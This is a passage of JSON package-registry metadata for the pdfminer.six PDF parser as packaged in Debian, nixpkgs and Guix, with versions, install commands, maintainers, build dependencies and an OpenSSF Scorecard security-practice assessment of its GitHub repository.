rl":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-10T22:29:11.818Z","latest_release_published_at":"2026-02-10T22:29:11.818Z","latest_release_number":"20200726-1","last_synced_at":"2026-03-14T02:22:38.968Z","created_at":"2026-02-10T22:29:11.622Z","updated_at":"2026-03-14T02:22:38.968Z","registry_url":"https://tracker.debian.org/pkg/pdfminer","install_command":"apt-get install pdfminer","documentation_url":"https://packages.debian.org/bullseye/pdfminer","metadata":{"component":"main","architecture":"all","priority":"source","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.5.0","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-chardet, python3-nose, python3-setuptools, python3-sortedcontainers, python3-cryptography, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T14:24:16.178Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pdfminer?arch=source\u0026distro=debian-11\u0026repository_url=https://packages.debian.org/bullseye","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"debian-11","url":"https://packages.debian.org/bullseye","ecosystem":"debian","default":false,"packages_count":31268,"maintainers_count":0,"namespaces_count":3,"keywords_count":0,"github":"debian","metadata":{"codename":"bullseye"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.702Z","updated_at":"2026-04-27T18:20:39.352Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/namespaces"}},{"id":12841572,"name":"pdfminer","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":2,"first_release_published_at":"2026-01-26T21:52:24.836Z","latest_release_published_at":"2026-03-02T16:29:19.373Z","latest_release_number":"20260107","last_synced_at":"2026-04-02T17:09:12.418Z","created_at":"2026-01-26T21:52:24.639Z","updated_at":"2026-04-02T17:09:12.419Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=pdfminer","install_command":"nix-env -iA nixpkgs.pdfminer","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/pdfminer-six/default.nix#L62","metadata":{"nix_attribute":"pdfminer-six-20260107","position":"pkgs/development/python-modules/pdfminer-six/default.nix:62","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","aarch64-darwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd","aarch64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"]},"repo_metadata":{},"repo_metadata_updated_at":"2026-03-02T16:29:19.870Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/pdfminer?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/pdfminer/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":67,"html_url":null,"role":null,"created_at":"2026-03-02T16:29:20.148Z","updated_at":"2026-03-02T16:29:20.148Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":147106,"maintainers_count":4680,"namespaces_count":0,"keywords_count":2885,"github":"NixOS","metadata":{"funded_packages_count":1565},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-05-15T05:01:34.865Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}},{"id":13951472,"name":"python-pdfminer-six","ecosystem":"guix","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"expat","normalized_licenses":["Other"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-03-02T19:18:05.906Z","latest_release_published_at":"2026-03-02T19:18:05.906Z","latest_release_number":"20260107","last_synced_at":"2026-04-27T16:33:42.757Z","created_at":"2026-03-02T19:18:05.706Z","updated_at":"2026-04-27T16:35:09.096Z","registry_url":"https://packages.guix.gnu.org/packages/python-pdfminer-six/20260107/","install_command":"guix install python-pdfminer-six","documentation_url":"https://git.savannah.gnu.org/cgit/guix.git/tree/gnu/packages/python-xyz.scm#n20939","metadata":{"location":"gnu/packages/python-xyz.scm:20939","variable_name":"python-pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":"2026-04-27T16:35:09.075Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:guix/python-pdfminer-six","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/guix/python-pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/guix/python-pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/guix/python-pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages/python-pdfminer-six/codemeta","maintainers":[],"registry":{"name":"guix","url":"https://guix.gnu.org","ecosystem":"guix","default":true,"packages_count":31488,"maintainers_count":0,"namespaces_count":0,"keywords_count":1627,"github":"guix-mirror","metadata":{"funded_packages_count":352},"icon_url":"https://github.com/guix-mirror.png","created_at":"2026-03-02T16:23:46.981Z","updated_at":"2026-05-07T05:00:22.550Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/guix/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/guix/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/guix/namespaces"}},{"id":13661882,"name":"pdfminer","ecosystem":"debian","description":null,"homepage":"https://github.com/pdfminer/pdfminer.six","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T09:11:50.579Z","latest_release_published_at":"2026-02-12T09:11:50.579Z","latest_release_number":"20221105+dfsg-1.1~deb13u1","last_synced_at":"2026-03-14T10:05:47.124Z","created_at":"2026-02-12T09:11:50.298Z","updated_at":"2026-03-14T10:05:47.125Z","registry_url":"https://tracker.debian.org/pkg/pdfminer","install_command":"apt-get install pdfminer","documentation_url":"https://packages.debian.org/trixie/pdfminer","metadata":{"component":"main","architecture":"all","priority":"source","binary":"python3-pdfminer, pdfminer-data","standards_version":"4.6.2.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, docbook-xml, docbook-xsl, libxml2-utils, python3-all, python3-charset-normalizer, python3-cryptography, python3-pytest, python3-setuptools, rename, xsltproc","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T09:12:32.379Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/pdfminer?arch=source\u0026distro=debian-13\u0026repository_url=https://packages.debian.org/trixie","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/pdfminer/codemeta","maintainers":[],"registry":{"name":"debian-13","url":"https://packages.debian.org/trixie","ecosystem":"debian","default":false,"packages_count":38024,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"debian","metadata":{"codename":"trixie"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.448Z","updated_at":"2026-04-27T18:20:39.853Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/namespaces"}},{"id":12817974,"name":"python310Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-26T17:35:07.863Z","latest_release_published_at":"2026-01-26T17:35:07.863Z","latest_release_number":"20221105","last_synced_at":"2026-04-17T17:05:11.088Z","created_at":"2026-01-26T17:35:07.340Z","updated_at":"2026-04-17T17:05:11.088Z","registry_url":"https://search.nixos.org/packages?channel=23.05\u0026query=python310Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python310Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.05/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"python3.10-pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mipsel-linux","mips64el-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python310Packages.pdfminer-six?channel=23.05\u0026repository_url=https://channels.nixos.org/nixos-23.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python310Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python310Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python310Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/python310Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario Rodas","email":null,"url":"https://github.com/marsam","packages_count":456,"html_url":null,"role":null,"created_at":"2026-03-04T18:29:23.429Z","updated_at":"2026-03-04T18:29:23.429Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-04T18:29:23.390Z","updated_at":"2026-03-04T18:29:23.390Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.05","url":"https://channels.nixos.org/nixos-23.05","ecosystem":"nixpkgs","default":false,"packages_count":101092,"maintainers_count":2622,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":151},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.882Z","updated_at":"2026-04-03T06:21:54.798Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/namespaces"}},{"id":13205671,"name":"python312Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T01:03:16.667Z","latest_release_published_at":"2026-02-02T01:03:16.667Z","latest_release_number":"20231228","last_synced_at":"2026-05-19T22:03:46.794Z","created_at":"2026-02-02T01:03:16.172Z","updated_at":"2026-05-19T22:03:46.794Z","registry_url":"https://search.nixos.org/packages?channel=24.05\u0026query=python312Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python312Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.05/pkgs/development/python-modules/pdfminer-six/default.nix#L70","metadata":{"nix_attribute":"python3.12-pdfminer-six-20231228","position":"pkgs/development/python-modules/pdfminer-six/default.nix:70","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python312Packages.pdfminer-six?channel=24.05\u0026repository_url=https://channels.nixos.org/nixos-24.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python312Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python312Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python312Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages/python312Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":59,"html_url":null,"role":null,"created_at":"2026-03-07T13:03:25.697Z","updated_at":"2026-03-07T13:03:25.697Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.05","url":"https://channels.nixos.org/nixos-24.05","ecosystem":"nixpkgs","default":false,"packages_count":116156,"maintainers_count":3383,"namespaces_count":0,"keywords_count":654,"github":"NixOS","metadata":{"funded_packages_count":251},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.309Z","updated_at":"2026-05-28T05:12:02.705Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.05/namespaces"}},{"id":12894965,"name":"python314Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":2,"first_release_published_at":"2026-01-27T08:55:53.865Z","latest_release_published_at":"2026-03-05T10:06:24.670Z","latest_release_number":"20260107","last_synced_at":"2026-03-05T10:06:25.776Z","created_at":"2026-01-27T08:55:53.655Z","updated_at":"2026-03-05T10:09:52.200Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=python314Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python314Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/pdfminer-six/default.nix#L62","metadata":{"nix_attribute":"python3.14-pdfminer-six-20260107","position":"pkgs/development/python-modules/pdfminer-six/default.nix:62","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","aarch64-darwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd","aarch64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2026-02-13T16:37:25.000Z","size":21743,"stargazers_count":6902,"open_issues_count":216,"forks_count":1024,"subscribers_count":112,"default_branch":"master","last_synced_at":"2026-02-20T16:28:15.857Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2026-02-19T16:31:01.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: 